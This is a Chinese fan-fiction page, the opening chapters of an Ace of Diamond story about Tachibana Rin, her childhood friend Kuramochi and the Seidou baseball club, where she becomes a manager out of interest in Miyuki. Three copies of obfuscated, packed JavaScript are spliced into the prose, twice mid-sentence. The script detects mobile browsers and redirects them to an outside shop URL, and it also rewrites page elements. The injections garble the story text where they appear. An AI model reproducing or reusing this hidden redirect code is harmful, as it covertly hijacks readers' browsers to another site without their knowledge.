《[钻石王牌]喜欢你理所应当》 1. 重逢 “来,来,我要开始安排了!” 坐在地上围成一圈的小孩高高仰起头,期待地看着中间唯一站着的女孩。 女孩的棕发扎着高高的马尾在她身后神气地晃荡着,她双手叉着腰,自信满满地开始安排着:“我是妈妈!” 没有小孩子有异议,在他们心中,橘铃做地位最高的妈妈理所应当。 接着橘铃伸出手,一个一个点过去:“你是长子,你是次女,你是老师……” “诶——”被点过去的小孩有兴高采烈地接下了想要的角色,也有小孩不高兴地撅了嘴,而小孩中心的橘铃对他们的反应置若罔闻,仍旧安排着每个人过家家的角色。 眼见着周围一圈的小孩都被赋予了应有的角色,橘铃却停了下来,她看着面前绿色头发乱糟糟的男孩,若有所思。 男孩眼巴巴地望着女孩,他这次可是为了好的角色而抢着坐在她的正前方呢。 他指了指自己,语气中显露着些着急:“小铃,我呢?怎么没有我!” 橘铃像是下定了决心,她的嘴角露出一抹自满的微笑,指着男孩说道:“小洋,你这次就当爸爸!” 仓持洋一睁大了眼睛,嘴巴张开,呆呆地看着橘铃。 他没想到橘铃竟然给自己安排了和她一样重要的角色,这简直出乎他的意料。仓持洋一脸上泛起一股热意,小小的脸蛋迅速红涨,说话都结巴了起来:“好,我……我当爸爸!” “小洋总是很细心,又很温柔呢。”橘铃笑嘻嘻的地双手抱胸,下巴抬起,对自己的安排十分满意,“这个角色最适合你不过啦。” 细心又温柔? 这是仓持洋一第一次听到有人这样评价他,平时调皮捣蛋的他总是活在大人的怒吼中,他早已习惯。 他愣愣地看着橘铃,橘铃的笑脸和这句话深深地印入了他的心里。 仓持洋一睁开眼,伸手拿掉了盖在脸上的帽子。 头顶的树叶被风吹的沙沙作响,树缝中落下的阳光跳跃着,他不适地眯了眯眼,又把帽子放回了脸上。 今天棒球社破天荒给了大家半天的休息时间,他本想着休息一下继续训练的,没想到春日的太阳太舒服,他在树下睡着了,还做了一个梦。 幼稚园时期的梦。 他叹了口气,心里难以说明是什么感觉。 做梦的原因他也清楚,在正式开学的第一天,他竟然在班上看见了橘铃。 自从橘铃一家搬到了东京,他们就再也没见过面,但是第一眼就他就认出了她。 刚开始仓持以为自己出现了幻觉,在初中的时候他就听说过橘铃成绩很好,青道不算顶尖的升学高中,他从没想过会在这里遇见她。 他坐在座位上,微微低着头,手上没闲着翻动着课本,而所有的听觉都聚集在了女孩所在的那个方向。 不,其实不用确认,他知道那就是橘铃。 那金色的眼睛,棕色的头发,总是微笑的脸庞,和小时候的她一模一样。 好像什么都从未改变过。 仓持悄悄地握紧了手,哪怕昨日在球场上和学长一起练习守备,也没有此刻紧张。 “仓持!” 一个人拍了拍他的肩膀,脸凑了过来:“真是难得啊,你怎么在发呆?” 仓持吓了一跳,一抬头就是御幸一也的那张大脸,御幸贱兮兮地笑着,抬了抬眉毛。 一个井字出现在仓持的头上,他恶狠狠地说道:“发什么呆,没看见我在看书吗?” 崭新的课本在他手里快速翻动着,他掏出一支笔,快速地写上自己的名字。 可恶的御幸,他完全没听到那边说了什么话,偏偏在这个时候。 “我还以为你在想昨天的守备呢。”对仓持恶劣的态度丝毫不在意,御幸饶有兴趣地说道,“毕竟你可是被学长骂惨了呢~” 小凑学长那危险的笑脸仿佛又出现在眼前,仓持脸上沁出冷汗,他叫道:“御幸,你是来挖苦我的吗?” “那不是,我是来夸赞你的。”御幸笑着说道,“虽然守备漏洞百出,可你的速度还真是快啊。” 仓持完全没有心情跟御幸复盘昨日的练习,他的目光又情不自禁穿过御幸的身后,看见了那个正和别人说着话的少女。 “刚刚我就想说了,仓持。”御幸搭在他身上,压低了语气,“你一直在往那边看谁呢?橘同学吗?” 仓持蓦地一惊,他下意识说:“你怎么知道她叫什么名字?” 御幸露出一副果然如此的表情,他的目光跟随着看向橘铃:“在学校门口遇到了,发现是一个班的就随便聊了几句,没说什么。” 说完,御幸拍了拍仓持的肩膀,比了一个大拇指,走回了自己的位置。 这是什么意思啊喂。仓持忍住了吐槽的冲动,叹了一口气。 没想到这么容易就被发现了,但他可是什么都没做。 他捏紧了手中的笔,目光不由自主再次飘向那个少女。 不知道橘铃认出他没有。 “好了同学们请安静。”不知何时站在讲台上的老师拍了拍手,“今天是入学的第一天,按照传统请各位同学做个自我介绍哦。” “那么就麻烦从这边的同学开始了。” 自我介绍。 仓持差点忘了还有这个环节。 初中就是不良的他,从不在乎别人怎么怎么看他评判他,自我介绍也是被他归为毫无所谓的事之一。 但是这个时候。 心跳如鼓点般,从胸口一步一步跳到耳膜,耳边只剩下那规律的“咚——”“咚——”声,仓持慢慢深呼吸,想要压下那几乎快跳出来的心脏。 冷静点。 他对自己说。 而那颗心有了自己的意志,丝毫不受他的控制,反而速度越来越快,直至—— “大家好,我叫橘铃。我平时喜欢唱歌,画画,对体育运动也有点兴趣,希望能和大家成为朋友,请多多指教啦~” 橘铃笑着双手合十在脸前举了举,结束了自我介绍。 中规中矩的发言。 仓持的心仍旧静不下来,连掌心也沁满了汗水,他暗骂自己这狼狈的模样。 他要怎么自我介绍?普通一点,像大家都会的那样?还是就按他自己的习惯?可恶,仓持还没决定好,下一个已经轮到他了。 “……请大家多多指教。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17088387|195410||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 上一个人说完,大家的目光都聚集到了仓持身上。 啧,有点紧张啊。 仓持站起来望着老师,语气装作漫不经心地说道:“大家好,我叫仓持洋一,棒球社社员,请多指教。” 很好,普通又简短。是他的风格。 坐下的时候他用余光瞟向了铃所在的方向。 铃的手一直撑在脸上,听他做完自我介绍也没有什么过大的反应,她和班上的每个人一样,目光顺其自然地投向了下个同学。 那狂奔的心跳瞬间沉寂下去,一阵异样的情绪从腹部蔓延上来。 难道她不记得了? 不可能,他们搬家也不过就两年前。 那这是……? 失落。 仓持咬住后槽牙,低声说道:“真烦。” 冷静。 他再次对自己说道。 没法冷静。 所有人的话语都忽近忽远地盘旋在上空,他机械地跟随着老师的话做出行动,心不在焉地度过了整节课,脑子里一直乱糟糟地回想着小时候的事情。 两人从上小学就很少在一起玩了,仓持曾邀请过铃来看过他打棒球,但是铃说她对棒球没什么兴趣,仓持便不再勉强她。 小学生已经结束了过家家这个幼稚的游戏,两人也就是偶尔打打招呼,吃个饭。 仓持不满足于这样,他会经常想找铃玩,可是铃身边的人太多了。 “抱歉小洋,今天莉子约了我诶。” “诶,今天吗?今天优子让我上她家去呢。” 仓持一直不开心,他以为他会和铃的关系一直好下去,但随着年纪增长,两人的关系还是无法避免生疏了。 等到下次铃来找他,他才知道,铃一家要搬到东京去了。 铃乖巧地站在父母身后,注意到仓持的视线,她微微一笑,做出了一个口型。 那是“小洋,下次再见”。 一股强烈的情感袭击了仓持。 他才发现他应该是,喜欢铃的。 铃已经离开了。 还没开始的爱恋就像被折断的幼枝,再苦涩也只能掩埋,可幼枝的树根已经扎根深长,没有办法轻易复原。 只能在记忆力里埋藏。 不过,能在这里遇见橘铃,还和她一个班,或许这是老天给予他新的机会。 仓持暗暗下定决心,不论怎么样,他今天都要和铃搭上话。 好不容易熬到下课,他定了定心神,还没来得及想怎么办,一个柔柔的声音就传了过来:“小洋?” 他抬起头,铃已经站在了他的桌边。 “……小铃?”他几乎是喃喃着念出橘铃的名字。 “果然是你哦!我还以为我看错了!”铃在眼前比了个ok,语气欣喜,笑容几乎要溢出来,“天哪,太巧了,你怎么会在东京?还加入了青道棒球社?我记得青道的棒球很厉害吧,小洋太厉害了!” 仓持怔怔地望着兴奋的橘铃,手不自觉地在手里的笔帽上磨蹭着,想说的话最嘴里流转着,最后只是一句:“嗯啊,真是巧啊,我也没想到会在这里遇到你,小铃。” 一切就是命运吧。 2. 开始 “啊,好羡慕铃同学你哦,竟然有个棒球部的青梅竹马。”高桥由衣撅着嘴巴,在手机上啪啪打着字,“我们学校的棒球部可是超厉害啊!” “我们很久没见面了,我也挺意外呢。”想到前几天跟她说话一脸拽样的仓持,橘铃忍不住晚起嘴角,在新的学校遇见熟人总是令人安心,“青道的棒球部很厉害吗?我不太了解这方面。” 说完,由衣按手机的动作一顿,她猛地抬头,声音提高了几个度:“青道啊青道!青道高中可是打进过甲子园!以前可是甲子园的常客啊。” 哦,甲子园,她知道这个。 “青道的棒球部竟然去过甲子园吗?好厉害。”橘铃真心实意地说道,“那我们班的同学也有机会去咯?” 由衣气势汹汹的气势一下偃旗息鼓,她的手扶在桌子上,身体晃了晃,她张了张嘴,结巴了起来:“近几年好像没有吧……青道棒球强校的底子在那里呢,还是很有可能的哦!” “这样啊。”橘铃说。 两人之间一下陷入了沉默,橘铃笑眯眯地盯着由衣,直至她的脸越来越黑。 “真是的!受不了你,有个青梅竹马在打棒球,竟然什么也不知道。”由衣啪地关掉手机,不由分说地拽住橘铃的手腕,“与其在这里纠结参加什么社团比较好,不如去亲眼看看吧!” “啊?等等……” 不容橘铃拒绝,下一刻她便站在了青道棒球部门口,这个她从没想过进入的地方。 “这样不好吧,会打扰到他们训练吧。”橘铃迟迟没有迈进那一步,踌躇说道。 “没什么不好的,快进来吧。”由衣拽着橘铃的手腕,不给她逃跑的机会,“你看,那里都有社会人进来呢。” 还真是。 那些社会人走进青道棒球部,就像跟走进自己家里一样从容。 无奈的橘铃只有妥协,跟着由衣走进了棒球部。 “好大——”巨大的球场,清脆的击打声,奋力奔跑叫喊着的部员们,橘铃没想到这里竟然是这样的。 “怎么样?是不是很酷。”由衣适时凑了上来,得意地晃了晃脑袋,“那里还有专用的学生宿舍呢!” “是挺酷的……”橘铃喃喃说道。 老实说,在此之前,她对棒球的印象还是小学时期仓持带她去的那次。 那时候,一群小孩子在球场上围着一个棒球跑来跑去,她看了半天都都不知道他们在干嘛,尽管仓持再三挽留,她还是很快便丧失了兴趣,后续再也没去过。 她搬到东京后,去的初中是有名的升学学校,大家不会把社团活动当一回事,更别说这种体育运动了。 “这里简直就是一个专门的棒球基地啊。” 这里对她来说,已经是另外一个世界了。 那么…… 她的眼神开始不由自主在球场上搜寻着,能进入这里的仓持洋一,应该也很厉害吧? 几年前刚从千叶搬走的时候,小洋还在坚持打棒球,那个时候的他是一副不良少年的样子,头发都染成了夸张的金色,眼神凶恶。 回想起那个画面,橘铃没忍住噗笑出了声。 虽然这么说不好,可小洋那个凶恶的样子和不良少年百分百适配啊。 不过这次重逢,小洋已经放弃不良少年装扮了呢。 是对不良少年失去兴趣了吗,还是青道改变了他呢?她如此饶有兴趣地想着,没停下在球场上搜寻的目光。 球场上的部员们统一的白蓝色队服,都带着帽子,很难分辨到底谁是谁。 “嘿嘿……学长们的身材好棒啊。”由衣双手捧着脸,双眼发光地望着场内,“真好啊,我也要想要个棒球部的青梅竹马。” “……”专心找人的橘铃被这句话吓了一跳,她怪怪地看了由衣一眼,什么跟什么啊。 专心看着学长打球的由衣根本没注意到橘铃的眼神,她掏出手机开始拍着照:“我要把这一刻留在我的手机里,嘿嘿嘿。” 按捺住心中的吐槽,橘铃道:“由衣这么喜欢棒球,或许可以选择做棒球部的经理。” “嗯?”由衣听到这句话,愣了一下,然后尴尬笑道,“哎呀,虽然我也有想过,但是这种社团的经理大多都是后勤人员,我还是更喜欢能自己上场的社团,虽然这个提议很心动啦。” “你看,这种全是男生的社团,难免也会觉得不自在啦。” 是的,经理们做的都是后勤的工作,虽然也作为团队的一份子,但总有人不喜欢这样的角色。 橘铃没办法分辨出来哪个是仓持,她揉了揉额角,抬眼看见隔壁还有另外一个球场,或许一年级的在那边训练呢? 由衣还专心地对着手机狂拍,橘铃拍了拍她:“由衣,我没找到仓持在哪儿,我想去那里看看,万一在那儿呢?” 闻言由衣终于退出了相机,她翻出手机里的相册,试图从刚刚的照片里找到仓持的身影,半晌,她挫败道:“走吧,我们去那里看看,我还不记得仓持长什么样呢,只记得很凶。这个球场上好多人都好凶。” 果然,大家对小洋的第一印象都差不多呢。橘铃轻轻捂住嘴,眼睛弯了起来。 “哟,这不是橘同学和高桥同学吗?你们好啊。”悦耳的男声响起,橘铃下意识回头,一个带着眼镜的男生隔着铁网站在球场内,和场内队员不同的是,他手上拿着的手套要大上好几倍。 这个人是……橘铃在脑里搜寻了一下,是同班的御幸一也,他和小洋一样自我介绍的时候都说过自己是棒球部的。 “你好呀,御幸同学。”橘铃打招呼道。 “是来看仓持的吗?”御幸嘴角露出一抹笑容,他指了指身后,刚刚她们寻遍的场地,“他在那里呢,现在他可能不想你看到他的样子哦,毕竟被学长骂可不是什么好看的场面。” 橘铃顺着御幸的手看过去,不同跑动的身影交错在一起,她眯了眯眼睛,依旧没看见仓持的身影。 由衣小声道:“不是吧,你对青梅竹马的熟悉程度还不如他的队员呢!” “……我们确实很久没见了。”橘铃说道,“是捡球的那个吗,还是在跑动的那个?” “喔,你好歹猜中了一个,是捡球的那个。”御幸说,“还没有特别不熟悉。” 这个人。。。 橘铃终于锁定了仓持的身影,他的动作虽然不及旁边的学长完美,可还是出乎意料的顺畅。 “御幸同学,你在这里做什么呢?”她随意问道,“不用跟他们一起训练吗?” 由衣打量着御幸:“御幸同学应该是捕手吧,和别人要做的练习不一样。” “捕手?”橘铃和御幸对视着,御幸的笑容仿佛僵了一瞬。 可疑的停顿,该不会这个人在这里偷懒吧。 由衣点点头:“在棒球运动中,最重要的就是捕手和投手了,你看,前面那个牛棚里投球的就是投手。投手负责投出球,而捕手需要接到球,不被打出去,这可是棒球里最重要的两个位置呢。” 没想到御幸却收起了脸上的笑容,他的头微微偏向由衣,语气低沉:“高桥同学,这你可说错了,棒球 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17088388|195410||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不是这样的运动。因为有队友的防守、打击,投手的投球,捕手的接球才有意义,单纯的投球那顶多只能算传接球。” “在球场上,每个人都是独一无二,不可或缺的。” 由衣后退了一步,错愕道:“好凶。” 御幸完全没有对自己态度恶劣的反省,他脸上又换上了懒洋洋的笑容:“我去训练了,拜拜。” 他对所有人说话都是这样呢。 橘铃看着气鼓鼓的由衣,没由来觉得很好笑。 御幸说的话没有什么问题,只是不留情面,没有顾及同班同学的面子。 “要组成一个队伍进行比赛,确实每个人都是重要的啊。”橘铃低声说道,她隐约记得,仓持洋一以前对棒球也是抱着这样的热情。 就是这样,他才会独自来到东京出现在青道吧。 橘铃看了一眼御幸离开的背影,这个男人的态度还真是有趣。 “这个人怎么回事啊,太可怕了吧。我们外人就是这样觉得的啊,有必要这么凶吗,真是的。”由衣抓住自己头发,喋喋不休道,“真是可怕。” 说罢,她转头对橘铃说道:“我要回去了!” “啊?”橘铃猝不及防,她指了指另外一个球场和牛棚,“我还想去那里看看呢,我想看看捕手和投手到底有什么不同。” “随便你啦!反正我要回家了。”由衣气鼓鼓地拿着手机就忘外面走去,没走两步,她回头道,“你也早点回家哦,别太晚了。” “放心吧,我对看不懂的运动兴趣还没那么高。”橘铃笑道,“拜拜,由衣。” 由衣虽然有点奇怪,但是个好人呢。 和球场不同的是,越靠近牛棚,部员们叫喊声便少了起来,取而代之的是有规律的沉闷的声音。 站在牛棚旁边,橘铃才知道是球撞进手套的声音。 “nice ball。”刚刚还很嚣张的御幸,此刻脸上已经换上了风镜,穿上了护具,他蹲在地上接着投手的球,“这个球路不错哦。” 被他夸赞的部员脸上微微发红,露出了羞涩的笑容。 没想到这种充满竞争爆发的运动,也会有这么羞涩的男生啊。 “下一个,我们试试外角吧。”说着,御幸把球扔回给投手,又蹲了下来。 捕手在引导着投手投球。 “啪。”球清脆地进入了御幸的手套中,发出安心的响声。 “下一球。” 一球又一球,投手在御幸的夸赞中投完了10球。 完全看不出来有什么好看的。 在橘铃看来,这就是普通的扔球接球运动。 果然她对这个运动没有办法感兴趣啊。 她叹气道,正准备离开,就和牛棚里的御幸对上了视线。 御幸挑了挑眉,眼神中抑制不住惊讶,他取下面罩,冲橘铃说道:“我还以为你不会对这个感兴趣呢。” “确实没看出什么兴趣。”橘铃点点头,“我从来没看过棒球比赛,只是刚刚你那段话说的让我很好奇。” “高桥同学呢?” “被你气走了。” 御幸丝毫没有觉得不好意思,他摊手说道:“好奇吗?作为仓持的青梅竹马都对棒球没有兴趣,我竟然这么厉害吗。” 不过橘铃能站在这里,说明她对棒球还是有那么一点兴趣吧? “光这样看训练是没有用的,这周末我们要举行红白战,你可以来看看,棒球到底是什么样的运动。”御幸说道,“当然,小洋也会有机会上场哦。” 3. 红白赛 橘铃站在外面的场地,呼了口气。 以前的她,不,就算是刚开学的她,都不会想到自己竟然会对棒球感兴趣。 她有对小洋提过想要来看红白战,小洋的反应激烈到以为她说了什么错话。 “红白战?你怎么知道?”仓持震惊道。 “御幸同学告诉我的哇。”橘铃指了指坐在座位上的御幸,两人一起转头看向他,御幸笑嘻嘻地冲他们举了举手,说道:“哟!” 哟你个头啊! 仓持睁大眼睛,竟然不知道说什么好。 “我周三的时候去看了你们训练。”橘铃说,“完全看不懂啊,就像小时候一样,刚好我遇到御幸同学,他说要看比赛才看得懂,刚好我周末没什么事。” “他说你会上场哦。” 仓持的脸稍微转向一旁,过了一会儿,他才说道:“嗯,是的,我会上场的,大概。” “好,那就说好了,我会来给你加油的!”橘铃快速地说完,便回到了座位上。 小洋好像不太想她去呢。 橘铃心里嘀咕着,不过只是看看,还要加油呢,应该没问题吧。 今天人比周中更多了,橘铃好不容易才选到一个好位置,比赛还没开始,现在正是下午两点时刻,头顶的太阳让球场更为闷热。 橘铃压了压头顶的帽子,在决定来红白赛后,她也有试图邀请由衣一起来看,但由衣说自己有约会拒绝了,她混在一群大叔中间,显得格外扎眼。 “今天是一年级对二三年级的红白战啊,不知道这次一年级有什么厉害的角色呢。” “伊佐敷那家伙好像状态不佳被降下二军了啊,这次有的看了。” 橘铃一只耳朵听着,心思已经飘到了休息区里御幸和仓持身上。 仓持脸上没什么表情,看出来有些紧张,御幸显得比他轻松很多,他正和上次橘铃在牛棚看到的那个投手说话。 那么谁会先一步上场呢? 随着双方球员的喊声,比赛正式开始。 捕手是御幸,而投手正是那个男生。 “会被打爆吧。”周围人窃笑。 “这个投手姿势很僵硬啊,手臂都施展不开,绝对会被打爆的。” 是的,完全被打爆了。 完全不了解棒球的橘铃,也看得懂投手的球被一次次打出去,每一次落地,周围人都会发出哀叹。 “请求暂停。”御幸的声音传过场地来到了橘铃耳边。 “这个时候暂停啊。”“也该暂停了,1局掉了4分,这局掉了2分,不然投手可真要直接放弃了。” 御幸小跑着上了中间的投手丘,他冲投手微微一笑,和之前贱兮兮的笑容完全不一样,那是一种可靠的微笑。 唔。橘铃在心里点评着,这个人打起棒球来,和平时完全不一样啊。而仓持…… 场内防守着的仓持,正是她熟悉的小洋的样子。 “喔,这个捕手不错嘛,都这样了还笑得出来。”身边的大叔摸了摸下巴,露出欣赏的眼神。 “他的配球没什么问题,是投手太紧张了。”旁边的人附和道,“他叫什么来着……御幸一也,初中好像也是少棒的。” “还不错嘛。” 听着周围人的夸赞,橘铃的目光又游移到御幸的脸上,御幸不知说了什么,他扬了扬下巴,用手套拍了拍投手的肩膀,投手紧绷到可怕的脸上终于露出了一个干巴巴的微笑。 “能让投手安心的捕手才是好捕手啊。” “三人出局,换边!” “不错嘛,那个小伙子,立马就换边了。”身边的人发出惊叹,“不知道他的打击能力怎么样呢。” 捕手还要兼顾打击啊? 橘铃盯着打席上的御幸,御幸全神贯注地看着投手,平时那副吊儿郎当的样子已经不见。 “好球!”“两好球!” 和众人期待的不同,他迟迟没有挥棒。 “唉,他怎么不挥棒啊,该不会是怕了吧。”“这也要被三振……” 话还没说完,御幸毫不犹豫地挥出了手中的棒,随之而来的是一声清脆的响声,在一年级生中,御幸率先打出了安打。 同时和挥棒声响起的是,橘铃的心跳。 当裁判叫出“safe”的时候,全场沸腾了。 “居然真有一年级小子上垒了!这小子不错啊,强肩打击力也不错,有机会上二军哦!!” 橘铃呆呆地望着站在垒包上的御幸,从她这个角度,刚好能看见御幸的侧脸,他面无表情,完全无视了场内的欢呼,他取下身上的护具,毫不松懈地站在垒包上。 很可靠的样子。 念头一闪而过,橘铃摇摇头,试图把这个奇怪的想法甩出去。 “下一棒这小子看起来像不良少年呢。”“我懂我懂,就是会使出飞踢的那种!” 啊,不用看,橘铃也知道这一定是仓持了。 她强迫自己的注意力回到打席上,仓持专注地盯着投手,紧紧地握住球棒。 嗯,这样子还挺正经的嘛。她暗暗赞叹,目光却又情不自禁飘到了一垒的御幸身上,在这个时候,御幸嘴角慢慢弯起,他弓着身子,阳光洒在他的脸上,护目镜反射着金色的光芒,晶莹的汗水顺着他的脸颊慢慢滴落。 “……”橘铃无意识地搓了搓指尖,直至清脆的声音传来,身边人发出惊呼,被注视着的人毫不犹豫地起跑,橘铃这才恍神,打席上的仓持已如离弦之箭冲向了一垒。 球还没传到一垒,仓持已经稳稳地踩上了垒包。 “好快!”橘铃低声说道,这个速度比刚刚上垒的御幸快多了。 不过仓持打出的球的距离也已经够御幸跑上二垒了,御幸轻松地站在二垒上,冲着仓持握了握拳,表情又变成了吊儿郎当的样子。 诶不对,她不是来为小洋加油的吗,怎么总在看这个御幸啊? 橘铃似乎意识到了什么不对劲,她深吸一口气,压低帽子挤出人群,走向了一年级休息区背后。 这里要比人群安静的多,但休息室的氛围也被连续两个安打给带动了起来,他们激动地站在外面,也有人开始激动地挥起了球棒。 “川上,你还记得御幸上场之前说的话吗!”有人嚷嚷道,“他说为了减轻投手的压力,就是要不停地打出去啊!” 那个害羞的投手原来叫川上。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17088389|195410||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 在球场上被连续安打,几乎没怎么休息的川上在此刻终于有了休息时间,他捏紧了手中的纸杯,坚定地说道:“我要以最好的投球的回应他们。” 对川上的回应同样是一声清脆的击打声,在二出局的情况下终于有人打出了外野高飞球。 这球毫不意外被外野人员轻松接杀,就在此刻,三垒的御幸迅速起跑,休息室瞬间热烈叫喊着:“冲啊!让学长知道我们也不是好惹的!!” 在主裁判一声铿锵有力的“safe”中,御幸为一年级夺回了第一分,这局结束了。 “还真是不容易呢。”取下头盔的御幸笑嘻嘻地回到休息室,“走吧阿宪,我们可要加油啊。” 他的目光漫不经心地扫过人群,顿了顿。 休息室后的那个女生好像是橘铃? 橘铃正看着他,她笑了笑,用嘴型说道:“加油。” 御幸没有说话,他坐回板凳上,开始穿起了护具。 橘铃抿了抿嘴,仓持跟在御幸身后回到了休息室。 他看起来心情十分不佳,脸上的表情更加凶恶,他擦了擦额角的汗,低声说道:“可恶。” 十分不甘心吧,在三垒被触杀出局。 “小洋,小洋。”橘铃小声呼喊着,仓持闻言转过头,他的脸已经被汗水浸湿了,他看着外面的少女,张了张嘴:“小铃……” 少女毫不吝啬自己的笑容:“你超厉害的小洋,加油哦!” 不知是天气太热,还是刚刚运动过度,仓持感觉自己的耳根开始发烫,他想露出个帅气的笑,嘴角却抽搐着,半天他抬了抬嘴角,郑重地答道:“是,我肯定会加油的。” “别灰心,我们这把一定要守住!”“好!” 相比前两局的低迷,一年级的热情已经完全被那一分带动了起来,可惜一支临时拼凑起来的新生再努力也没办法改变局面,最终还是输了。 这是意料之中的事。 比赛结束,观众们心满意足地逐步退场,橘铃耐心地在门口等着,她不时张望着,终于等到了两人的出现。 “hi~”她快步走上前,递出了手中的水,“辛苦啦,运动后来一瓶橘子水可能不错哦。” 仓持几乎是下意识地接过了水,他拧开水喝了一口,说道:“你站了这么久累吗?” 橘铃眨眨眼,说道:“累,还好呀?你才是累的那个吧。” 另一瓶水却迟迟没有人接过去,橘铃晃了晃手中的水,她说道:“怎么御幸同学,不要吗?” 御幸这才接过去,他的手放在瓶盖上,咧嘴笑道:“哎呀,我没想到还有我的份呢。谢谢了,橘同学,今天看完比赛感觉怎么样,仓持同学很厉害吧。” 很厉害? 是的,小洋比小时候厉害多了,在这么著名的青道一年级之中,他已经算表现的比较出色的了,可是还有更出色的人。 橘铃垂下眼帘,不动声色地扫过御幸。 “可惜你们输的很惨呢。”橘笑眯眯地说道。 “……”对面的两个男人陷入了沉默。 “但是。”橘铃手背在身后,她悄悄绞紧了手指,“棒球好像是个很有趣的运动!” 4. 职责经理 “你想提交棒球部经理的申请吗?”女老师抬了抬自己的眼镜,语气有些为难,“但是申请已经结束了。” “高岛老师,求求你给我这个机会吧。”橘铃央求着,差点上前扯住高岛礼的袖子,“我在上次看了红白战以后就想提交申请的,但是确实学业繁忙,真的非常抱歉。” 闻言高岛礼愣了一下,她记得橘铃好像是偏差值特别高的学生之一,班主任很重视她,也经常会在校长嘴里听到她的名字。 最近好像是有个什么数学竞赛,难道她参加了吗? “……”想到这里,高岛礼的语气柔和下来,“……这个我们要商议一下。” “高岛老师,我可以先去帮忙。”见高岛礼语气松动,橘铃再次追击道,“我真的很想为棒球部出一份力,请您给我这个机会,今天我可以先去吗?” 于是在这天,橘铃踏入了棒球部的场地,以见习经理的身份。 高岛礼最后给的答复是要看她的表现,作为优等生的橘铃,从来不惧怕任何考试和测验。 这反而让她更有了冲劲。 “你好我是一年的梅本幸子,这个是一年级的夏川唯,那个是二年级的藤原贵子学姐,三年级的学姐们都在忙着整理数据,暂时还没在这里。”扎着两个辫子的少女热情地介绍着,被她介绍到的女孩都微微笑道。 大家看起来都很好相处。 “我是一年级B班的橘铃,请多指教。”橘铃说道。 “我知道,我认识你!那个在高中数学竞赛中进入了决赛的女生,太厉害了吧!!”梅本兴奋地握住橘铃的手上下晃动着,“我甚至还在为课本上的知识烦恼呢。” “所以在棒球上我就要多多请教你们了。”橘铃反握住梅本的手,向几位经理鞠躬道,“麻烦你们啦。” “最近大家都在为夏季大赛做准备,训练量会加倍,每个周末都有练习赛。” 简短的介绍后,一年级的经理们先去收拾器材去了,由藤原贵子学姐专门为橘铃介绍棒球部。 “我们要做的事情很多,比如器材清点,后勤支援,数据记录这些,甚至部员们的状态都需要我们关注呢。” “不过像比赛数据这些都是三年级的学姐们在做哦,我们还是要从基层做起。” 那就是一些不用动脑的后勤事务,和由衣说的一样,经理是完全作为支援的存在。 她也不是太喜欢这样的工作。 橘铃的目光偶尔落在藤原身上,她是真的热爱棒球部,每一个地方,每一个事物她都清清楚楚,连介绍的话语里都蕴含着感情。至于橘铃她自己嘛…… 她无意识地搓了搓手指,有些心虚地清了清嗓子。 入部的理由是对棒球有兴趣,这也没错,但她对别的更有兴趣。 御幸一也。 明显是个棒球笨蛋的家伙,成绩不算特别好,刚开学不久,几乎所有人都领教了他毒舌不留情面的功力,所以他同时也顺利荣获个性很差这个称号,而本人却不以为意,甚至觉得那是称赞。 原本她和这样的人是不会有交集的。 但是,自从看了那次红白赛以后,御幸那安打的身影总是在她心中挥之不去,甚至有时,她上课走神时,眼睛会不由自主地投向班上的御幸。 当然是悄悄的。 其实没什么可看的,棒球部辛苦的训练已经消耗了御幸大量的精力,上课的他不是打瞌睡就是无所事事。 这个时候,橘铃的脑海里就会想到他那毫不犹豫的一击。 球场上和球场外毫不相同的两个人。 好在有数学竞赛分散她的精力,不然再这样看下去,橘铃怀疑自己会先把自己攻略了。 想要更加了解这个人……橘铃看着老师,心思已经飘到天外去。 只有加入棒球部当经理了。 接触的时间也会变多,也能更了解在青道棒球部的御幸一也是什么样,反正其他社团她也没有什么兴趣。 不过有些男人嘛,越接触就越会丧失兴趣,不知道御幸是不是这样的人呢~ 球场大概介绍完了,只差刚开始橘铃看到的学生宿舍,果不其然贵子学姐带她往宿舍走去,介绍道:“那栋房子是青心寮,有一半的部员都住在那里,剩下的一半就是走读生,食堂也在这里面。” “铃是为什么想要加入棒球部呢?我是因为从小就喜欢棒球。” 难以启齿的理由,橘铃思索着慢慢答道:“不瞒学姐说,我是在红白赛才开始接触棒球的,在此之前我对棒球一无所知。因为发现了有趣的人,才感觉棒球也挺有意思的。” 贵子闻言疑惑地看了她一眼,两人跨过了青心寮的大门,走进宿舍。 学生宿舍经理也可以随便进啊,她还以为这是绝对禁止的。 橘铃顿了顿,又再补充道:“很奇怪的理由吧,因为有趣的人,沉浸下来看了棒球,发现棒球是个有趣的运动,想要更多的了解棒球。” “有趣的人?”果然贵子的心思全放在了那句“有趣的人”上面,她有些八卦,又有些小心地问道,“啊,如果你不方便,可以不说……” 